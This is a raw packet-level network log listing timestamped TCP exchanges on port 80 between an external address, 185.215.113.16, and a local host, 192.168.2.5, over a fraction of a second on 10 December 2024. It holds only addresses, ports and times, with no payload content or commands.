Dec 10, 2024 02:50:51.430799961 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.430833101 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.431359053 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.431401014 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.431467056 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.431504011 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.432190895 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.432228088 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.432586908 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.432630062 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.433042049 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.433080912 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.433151007 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.433193922 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.433897018 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.433932066 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.434003115 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.434041023 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.434745073 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.434787035 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.434864044 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.434901953 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.435601950 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.435647964 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.435692072 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.435730934 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.436445951 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.436485052 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.436559916 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.436599970 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.437323093 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.437361002 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.437417984 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.437455893 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.438185930 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.438227892 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.438290119 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.438328981 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.439019918 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.439057112 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.439100981 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.439138889 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.439903975 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.439950943 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.440012932 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.440052986 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.440738916 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.440785885 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.440877914 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.440916061 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.441596031 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.441718102 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.441741943 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.441750050 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.442435980 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.442481995 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.442540884 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.442578077 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.443336010 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.443383932 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.443432093 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.443478107 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.444139957 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.444185972 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.444242954 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.444286108 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.445007086 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.445050955 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.445137978 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.445183992 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.445851088 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.445899963 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.445965052 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.446003914 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.446724892 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.446770906 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.446810961 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.446856976 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.447551012 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.447596073 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.447705030 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.447751045 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.448621988 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.448683023 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.448714018 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.448754072 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.449290037 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.449336052 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.449388027 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.449434042 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.450149059 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.450196981 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.450258970 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.450304985 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.451014042 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.451059103 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.451082945 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.451126099 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.451829910 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.451905012 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.451937914 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.451984882 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.452682972 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.452725887 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.452775955 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.452821970 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.453572035 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.453623056 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.453710079 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.453756094 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.454407930 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.454493046 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.454504013 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.454549074 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.455271006 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.455317974 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.455370903 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.455416918 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.456125975 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.456173897 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.456217051 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.456265926 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.456980944 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.457027912 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.457093954 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.457138062 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.457876921 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.457921982 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.458077908 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.458126068 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.458790064 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.458837032 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.458897114 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.458946943 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.459553957 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.459598064 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.459633112 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.459681988 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.460442066 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.460485935 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.460561037 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.460606098 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.461276054 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.461339951 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.461357117 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.461393118 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.462094069 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.462137938 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.462202072 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.462243080 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.462987900 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.463031054 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.463107109 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.463150024 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.463824987 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.463874102 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.463933945 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.463973045 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.464672089 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.464724064 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.464754105 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.464790106 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.465481043 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.465528011 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.612941980 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.613012075 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.613023043 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.613063097 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.613584042 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.613631010 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.613734961 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.613776922 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.614197969 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.614242077 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.614285946 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.614329100 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.615036964 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.615081072 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.615142107 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.615183115 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.615883112 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.615925074 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.615991116 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.616034031 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.616760015 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.616801023 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.616871119 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.616915941 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.617635012 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.617676973 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.617748976 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.617793083 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.618458033 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.618505001 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.618573904 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.618613958 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.619299889 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.619338989 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.619402885 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.619445086 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.620167017 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.620207071 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.620281935 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.620320082 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.621025085 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.621064901 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.621129990 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.621169090 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.621980906 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.622025013 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.622111082 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.622153044 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.622734070 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.622776985 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.622931004 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.622972965 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.623579979 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.623624086 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.623677015 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.623714924 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.624414921 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.624459028 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.624517918 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.624552011 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.625328064 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.625375032 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.625468969 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.625510931 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.626137972 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.626182079 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.626240015 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.626283884 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.626981974 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.627024889 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.627089024 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.627130032 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.627851009 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.627895117 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.627954960 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.627994061 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.628700018 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.628743887 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.628798962 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.628840923 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.629591942 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.629635096 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.629684925 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.629726887 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.630404949 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.630448103 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.630518913 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.630558014 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.631244898 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.631287098 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.631375074 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.631416082 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.632106066 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.632148027 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.632177114 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.632215977 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.632981062 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.633022070 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.633085012 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.633126974 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.633841038 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.633884907 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.634057999 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.634099960 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.634673119 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.634716988 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.634779930 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.634820938 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.635576963 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.635622025 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.635699034 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.635740995 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.636399031 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.636444092 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.636518002 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.636554956 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.637243986 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.637290001 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.637355089 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.637398958 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.638101101 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.638144016 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.638210058 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.638251066 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.638942957 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.638989925 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.639045954 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.639086962 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.639820099 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.639862061 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.639926910 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.639970064 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.640711069 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.640752077 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.640855074 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.640892982 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.641535997 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.641573906 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.641632080 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.641669989 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.642409086 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.642446041 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.642498016 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.642534971 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.643224001 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.643261909 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.643363953 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.643404007 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.644073963 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.644118071 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.644188881 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.644231081 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.644968033 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.645016909 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.645077944 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.645118952 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.645793915 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.645838022 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.645890951 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.645932913 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.646640062 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.646682978 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.646742105 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.646784067 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.647515059 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.647557974 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.647628069 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.647665977 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.648366928 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.648411036 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.648482084 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.648524046 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.649195910 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.649239063 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.649315119 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.649357080 CET	49798	80	192.168.2.5	185.215.113.16
